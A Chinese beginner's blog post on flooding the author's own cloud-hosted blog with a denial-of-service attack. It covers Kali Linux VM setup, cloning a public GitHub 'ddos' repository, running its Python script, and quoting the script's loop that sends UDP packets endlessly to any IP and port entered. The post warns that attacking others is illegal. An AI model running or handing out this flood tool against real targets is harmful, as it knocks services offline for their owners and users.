对自己的博客网站进行DOS攻击

对自己的博客网站进行DOS攻击

先说明一点,别对别人的网站进行ddos/dos攻击(dos攻击一般短时间攻击不下来),这是违法的,很多都有自动报警机制,本篇博客仅用于学习,请勿用于非法用途

安装kaili Linux

进入KALI官网,下载iso镜像文件

avatar

vmware新建虚拟机,选择自定义
avatar

点击下一步

avatar

点击下一步

avatar
点击下一步
avatar
选择稍后安装操作系统,点击下一步
avatar
选择Debian系统,版本根据自己的kali版本来,我这里就选最新的Debian12,点击下一步
avatar
虚拟机名称和存储位置根据自己情况来,点击下一步
avatar
处理器配置根据自己电脑的配置来,点击下一步
avatar
内存也是根据自己的使用情况来,点击下一步
avatar
点击下一步
avatar
点击下一步
avatar
点击下一步
avatar
点击下一步
avatar
点击下一步
avatar
点击下一步
avatar
点击自定义硬件
avatar
导入下载好的ISO文件,关闭后点击完成即可

剩下启动后的配置就比较简单了,根据自己情况来即可

安装完成后打开是这样的:
avatar

换源+更新

avatar

进入root权限

sudo su

输入密码后,换源

sudo vim /etc/apt/sources.list

部分国内源:

官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
东软大学
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
重庆大学
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib

自己选一个换上就行,然后进行更新:

sudo apt-get update
DOS攻击

未被攻击前访问我的网站是这样的:

avatar

avatar

下载Dos数据包

git clone https://github.com/Andysun06/ddos

avatar

进入ddos文件夹

cd ddos

执行python脚本

python ddos-p3.py

下面这两张用的是别人的图,不想打码了(雾
avatar

avatar

反正我攻击了大概8分钟,网站还是可以正常访问的,由于阿里云服务器有一定量的免费的cdn防护,我个人进行DOS攻击至少需要一小时才能耗完.这次只是实验一下,所以就不继续了.

avatar
我们可以看到受到攻击后服务器的带宽是有被大量消耗的,说明我们的攻击是有效的.

代码分析

去作者的github上把代码拉下来,看看是怎么写的:

os.system("clear")
os.system("figlet DDos Attack")
ip = input("请输入 IP     : ")
port = int(input("攻击端口      : "))
sd = int(input("攻击速度(1~1000) : "))

os.system("clear")

sent = 0
while True:
     sock.sendto(bytes, (ip,port))
     sent = sent + 1
     print ("已发送 %s 个数据包到 %s 端口 %d"%(sent,ip,port))
     time.sleep((1000-sd)/2000)

核心代码就这么几行,其实就是不断向指定IP的端口发送数据包,然后打印发送数据包的个数.

本人也是初入安全的小白,有什么不对的地方欢迎在评论区指出

相关推荐

  1. 自己第一篇——回顾和展望

    2023-12-17 19:36:01       35 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-17 19:36:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-17 19:36:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-17 19:36:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-17 19:36:01       20 阅读

热门阅读

  1. 基于Spring Boot和微信小程序的智能小程序商城

    2023-12-17 19:36:01       45 阅读
  2. 点云拟合方法:三点定圆

    2023-12-17 19:36:01       38 阅读
  3. 代码随想录 474. 一和零

    2023-12-17 19:36:01       37 阅读
  4. LeetCode 每日一题 2023/12/11-2023/12/17

    2023-12-17 19:36:01       43 阅读
  5. Vue基础

    Vue基础

    2023-12-17 19:36:01      34 阅读
  6. 浅谈Web Component

    2023-12-17 19:36:01       31 阅读
  7. 【Linux应用编程笔记】GPIO

    2023-12-17 19:36:01       33 阅读
  8. 网线制作方法及注意事项

    2023-12-17 19:36:01       39 阅读
  9. vue 中 watch 、computed、 watchEffect 区别

    2023-12-17 19:36:01       39 阅读
  10. 如何看待【前端】已死论?

    2023-12-17 19:36:01       37 阅读
  11. 线程Thread源代码思想学习1

    2023-12-17 19:36:01       36 阅读
  12. mysql查询-DQL查询语法-执行顺序--黑马程序员笔记

    2023-12-17 19:36:01       29 阅读